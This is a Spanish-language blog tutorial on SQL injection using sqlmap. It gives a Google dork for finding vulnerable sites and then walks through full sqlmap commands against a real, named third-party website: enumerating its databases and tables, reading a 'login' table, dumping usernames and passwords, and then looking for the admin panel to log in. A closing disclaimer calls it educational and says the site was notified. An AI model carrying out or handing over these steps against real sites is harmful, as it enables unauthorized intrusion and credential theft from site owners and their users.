0
Bueno les dije que haría un pequeño tutorial de SQL Injection usando sqlmap.

  • Herramientas: 
  • sqlmap (Download
  • linux 

Para este tutorial yo uso Ubuntu 12.04.

Para poder ejecutar sqlmap necesitan tener instalado python, ya que es un script en este lenguaje.

Antes de empezar recordemos que es SQL Injection, Wikipedia nos dice lo siguiente:

Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar consultas a unabase de datos.

El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.

Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.

Exiten diferentes tipos de inyeccion sql nosotros ahorita veremos la mas basica y sencilla de todas.

Buscando un sitio vulnerable

Para encontrar un sitio vulnerable podemos usar algunos dorks de google, por ejemplo el siguiente:

inurl=.php?id=

O testear sitios que ya conocemos, indistintamente de si son programados en .NET o en PHP.

Para saber si es vulnerable debemos generar un error en la aplicacion web para ver si maneja correctamente los valores de la variable que se le dan, por ejemplo agregar una simple ' en la url después del signo '=' es una forma de tratar de generar un error.

Por ejemplo si la url es:

http://www.educacionit.com.ar/reenviar.php?id=123

Le agregamos la ':

http://www.educacionit.com.ar/reenviar.php?id='

Se puede hacer sin borrar el numero pero yo siempre lo hago.

A continuación nos saldrá un error como este:

Error de SQL



Que empiece el hackeo!

Ahora vamos a nuestra shell y ubicamos la carpeta donde tengamos sqlmap y lo ejecutamos, en mi caso seria:
  1. cd Documentos 
  2. cd sqlmap 
  3. python sqlmap.py 

Ahora nos aparecerá algo como esto:

sqlmap en ubuntu


Si te salio esto quiere decir que vas bien.

Ahora explicando un poco las variables que se usan:

  • -u [URL a la que se le hará la inyección] (URL Correcta)
  • -p [Parámetro de la url que inyectaremos]
  • --dbs [Mostrara todas las bases de datos de la pagina]
  • -D [Seteas el nombre de la base de datos a la que harás la consulta]
  • --tables [Mostrara todas las tablas de la Base de datos seleccionada]
  • -T [Conexión a una tabla especifica]
  • --columns [Mostrara los nombre de las columnas de la tabla seleccionada]
  • --dump [Hace un volcado de datos de ficheros .csv de la tabla seleccionada (Mostrara la información de las tablas)]
  • --dbms [Con este parámetro podemos seleccionar el motor de base de datos que usa para hacer las pruebas de errores sobre un motor de base de datos especifico, ej. SQL, MySQL, ORACLE]

Si quieren ver los otros parametros revisen la documentacion de sqlmap, por lo pronto empezaremos ya escribiendo esto:

./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" --dbs --dbms=mysql

Nos dará como resultado esto:

sqlmap en ubuntu






Como ven aquí nos muestra que el parámetro 'id' efectivamente si es inyectable y ademas nos pregunta que si queremos seguir haciendo mas pruebas, le decimos que no escribiendo 'n' y mostrara lo siguiente:
Tutorial de sqlmap

Y nos muestra dos bases de datos:
  1. Information_schema [Todos los motores de SQL la traen, asi que la ignoraremos] 
  2. sebadivi_educacionit 

Para ver que tiene la base de datos de 'sebadivi_educacionit', haremos lo siguiente:
./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" -D sebadivi_educacionit --tables

Al finalizar el escaneo mostrara esto:
Tutorial de sqlmap



Y asi como parece, esas son las tablas de la base de datos, vamos a explorarlas, por ejemplo la que dice 'login'.

./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" -D sebadivi_educacionit -T login --columns

Como ven nos muestra 4 columnas:

  1. pagina 
  2. pass 
  3. permisos 
  4. user 

Y sus tipos de datos que son, en este caso todos son varchar de diferentes longitudes, veamos los registros.

Tutorial de sqlmap




Y ahí lo tenemosusuariosy contraseñas del sitio, lo siguiente es buscar el panel de administración. Para poder conectarse al sitio.

NOTA: Internet-END no se hace responsable por el mal uso que se le de a esta informacion esta publicado solo como manera informativa y educativa para ayudar a los web developers a mantener mejor la seguridad de sus sitios.
Este sitio ya no es vulnerable ya que se le aviso con tiempo al administrador del sitio de su vulnerabilidad.

Publicar un comentario en la entrada

 
Top